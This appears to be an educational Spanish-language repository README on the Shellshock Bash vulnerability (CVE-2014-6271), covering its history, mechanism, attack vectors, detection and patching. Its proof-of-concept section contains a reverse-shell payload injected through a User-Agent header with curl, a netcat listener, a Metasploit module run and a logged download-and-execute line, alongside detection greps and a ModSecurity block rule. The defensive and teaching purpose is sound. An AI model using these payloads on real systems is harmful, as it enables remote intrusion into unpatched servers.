
Repositorio educativo que detalla la vulnerabilidad Shellshock (CVE-2014-6271), incluyendo análisis técnico, vectores de ataque, explotación de prueba de concepto y pasos de mitigación para la inyección de variables de entorno de Bash.
____ _ _ _____ _ _ ____ _ _ ___ ____ _ __
/ ___|| | | | ____| | | | / ___|| | | |/ _ \ / ___| |/ /
\___ \| |_| | _| | | | | \___ \| |_| | | | | | | ' /
___) | _ | |___| |___| |___ ___) | _ | |_| | |___| . \
|____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\
Remote Code Execution via Bash Environment Variable Injection
"Una falla que estuvo oculta en Bash durante décadas y sacudió los cimientos de internet en menos de 24 horas."
Shellshock (también conocido como Bashdoor) es una familia de vulnerabilidades críticas en el intérprete de comandos GNU Bash que permite a un atacante remoto ejecutar comandos arbitrarios en el sistema objetivo.
El error fundamental: Bash no detenía el análisis de una variable de entorno al finalizar la definición de una función. Cualquier código concatenado después de () { :; }; era ejecutado automáticamente.
Variable Env → Definición de función → [AQUÍ EJECUTA CÓDIGO EXTRA] ← BUG
Dado que servidores web (CGI/Apache), servicios SSH y clientes DHCP convierten headers o parámetros en variables de entorno de Bash, la superficie de ataque era masiva.
12 Sep 2014 ──── Stéphane Chazelas descubre el bug y lo reporta a Chet Ramey (mantenedor de Bash)
El bug existía en Bash desde hacía más de 20 años.
24 Sep 2014 ──── Divulgación pública + publicación del parche (CVE-2014-6271)
Horas después: botnets activas escaneando internet masivamente.
25-30 Sep 2014 ── Descubiertas vulnerabilidades relacionadas:
CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
CVE-2014-7186, CVE-2014-7187
Oct 2014 ──────── Millones de ataques registrados. Comparado en severidad con Heartbleed.
Cuando Bash importa una función desde una variable de entorno, lee hasta el cierre } de la función. En versiones vulnerables, continuaba procesando el código posterior en lugar de detenerse.
# Variable de entorno maliciosa:
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'
# Bash vulnerable al inicializarse:
# 1. Lee la definición de función → OK
# 2. Encuentra }; → debería parar
# 3. CONTINÚA → ejecuta /bin/cat /etc/passwd ← BUG
Atacante Servidor Apache (CGI) Bash (vulnerable)
│ │ │
│ HTTP Request │ │
│ User-Agent: () { :;}; cmd │ │
│──────────────────────────────▶│ │
│ │ Convierte headers a env vars │
│ │ HTTP_USER_AGENT=() { :;}; cmd │
│ │───────────────────────────────▶│
│ │ │ Ejecuta cmd
│ │ │ como www-data
│◀──────────────────────────────│◀───────────────────────────────│
│ Respuesta + output del cmd │ │
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
Resultado en sistema VULNERABLE:
VULNERABLE
this is a test
Resultado en sistema PARCHEADO:
this is a test
(o un error de sintaxis — nunca imprime "VULNERABLE")
Servidores web que usan scripts .cgi convierten los HTTP Headers en variables de entorno de Bash.
Headers afectados: User-Agent, Referer, Cookie, X-Forwarded-For, y cualquier header custom
# Si el servidor tiene ForceCommand configurado, un atacante con clave válida puede bypassearlo
ssh user@target '() { :;}; /bin/bash'
Servidores DHCP maliciosos pueden inyectar variables de entorno en clientes que usen Bash para procesar la respuesta DHCP.
# Cualquier proceso que herede variables de entorno y ejecute Bash
env VAR='() { :;}; comando_malicioso' bash -c "script_legítimo"
nc -lvnp 4444
# Payload que se inyecta en el User-Agent
() { :;}; /bin/bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
http://sitio-vulnerable.com/cgi-bin/test.cgi
Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /cgi-bin/test.cgi
set LHOST <your_ip>
run
# Buscar el patrón característico en access.log
grep -E "\(\)\s*\{" /var/log/apache2/access.log
# Ejemplo de log malicioso:
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"
# Procesos hijos de www-data/apache que no deberían existir
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED
- Nuevos archivos ejecutables en /tmp, /var/tmp, /dev/shm
- Conexiones salientes desde el servidor web a IPs desconocidas
- Modificación de /etc/crontab o /etc/passwd
- Procesos bash corriendo como www-data sin terminal
# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash
# RHEL / CentOS / Fedora
sudo yum update bash
# Verificar versión parcheada (debe mostrar "patches")
bash --version
# GNU bash, version 4.3.30(1)-release → VULNERABLE
# GNU bash, version 4.3.33(1)-release → PARCHEADO (varía por distro)
# Debe devolver solo "this is a test" — NUNCA "VULNERABLE"
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
# 1. Deshabilitar CGI si no es necesario
a2dismod cgi
# 2. Regla WAF para bloquear el patrón
# En ModSecurity:
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Shellshock Attempt'"
# 3. Monitoreo continuo de logs
tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"
Este repositorio es exclusivamente para fines educativos, investigación en ciberseguridad y auditorías de seguridad autorizadas. Toda la información aquí presentada es de dominio público. Realizar pruebas contra sistemas sin autorización explícita es ilegal bajo las leyes de la mayoría de jurisdicciones. El autor no se hace responsable del uso indebido de esta información.
Descubierto por Stéphane Chazelas · Publicado el 24 de Septiembre de 2014
CVSS Score: 10.0 (Critical) → Posteriormente ajustado a 9.8 en CVSSv3
| Producto | Versiones Vulnerables | Estado |
|---|
| GNU Bash | 1.0.3 – 4.3 | Parcheado |
| Linux (Debian/Ubuntu/CentOS/RHEL) | Versiones pre-Sept 2014 | Parcheado |
| Apple macOS / OS X | 10.10 y anteriores | Parcheado (Security Update 2014-005) |
| Dispositivos IoT con Bash embebido | Múltiples | Varía según fabricante |
| Servidores web con CGI sobre Apache | Cualquier versión con Bash vulnerable | Parcheado |